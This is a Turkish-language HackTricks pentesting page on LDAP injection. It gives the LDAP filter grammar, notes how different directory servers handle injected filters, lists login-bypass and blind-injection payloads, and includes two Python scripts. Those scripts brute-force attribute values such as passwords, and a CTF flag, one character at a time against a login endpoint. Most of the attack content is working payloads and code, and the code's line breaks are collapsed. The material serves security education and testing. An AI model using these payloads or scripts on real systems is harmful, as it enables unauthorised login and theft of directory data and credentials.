Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın(https://github.com/sponsors/carlospolop)!
Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşulan Lehçe gereklidir).
LDAP Enjeksiyonu, kullanıcı girdilerinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişleri doğru bir şekilde temizlemediğinde, saldırganların bir yerel proxy aracılığıyla LDAP ifadelerini manipüle etmelerine izin vererek yetkisiz erişime veya veri manipülasyonuna yol açabilir.
Filtre = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Mutlak DOĞRU
(|) = Mutlak YANLIŞ
Veritabanına erişebilir ve bu farklı türlerde birçok bilgi içerebilir.
OpenLDAP: 2 filtre geldiğinde sadece ilkini yürütür.
ADAM veya Microsoft LDS: 2 filtre ile hata verirler.
SunOne Directory Server 5.0: Her iki filtre de yürütülür.
Filtreyi doğru sözdizimiyle göndermek çok önemlidir, aksi takdirde hata alınır. Sadece 1 filtre göndermek daha iyidir.
Filtre, & veya | ile başlamalıdır
Örnek: (&(directory=val1)(folder=public))
Sonra: (&(objectClass=*)(ObjectClass=*)) ilk filtre olacaktır (yürütülen filtre).
Giriş Atlatma
LDAP, şifreyi saklamak için çeşitli formatları destekler: düz, md5, smd5, sh1, sha, crypt. Bu nedenle, şifre içine ne koyarsanız koyun, muhtemelen hashlenir.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Herhangi bir veri döndürülüp döndürülmediğini kontrol etmek için Yanıltıcı veya Doğru yanıtlar zorlayabilir ve olası bir Kör LDAP Enjeksiyonunu doğrulayabilirsiniz:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Veri dökümü
Ascii harfleri, rakamları ve sembolleri üzerinde döngü oluşturabilirsiniz:
LDAP nesneleri varsayılan olarak birkaç özniteliği içerir ve bu öznitelikler bilgi saklamak için kullanılabilir. Bu bilgiyi çıkarmak için hepsini kaba kuvvet uygulayabilirsiniz. Varsayılan LDAP özniteliklerinin bir listesini burada bulabilirsiniz.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Özel Kör LDAP Enjeksiyonu ("*" olmadan)
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!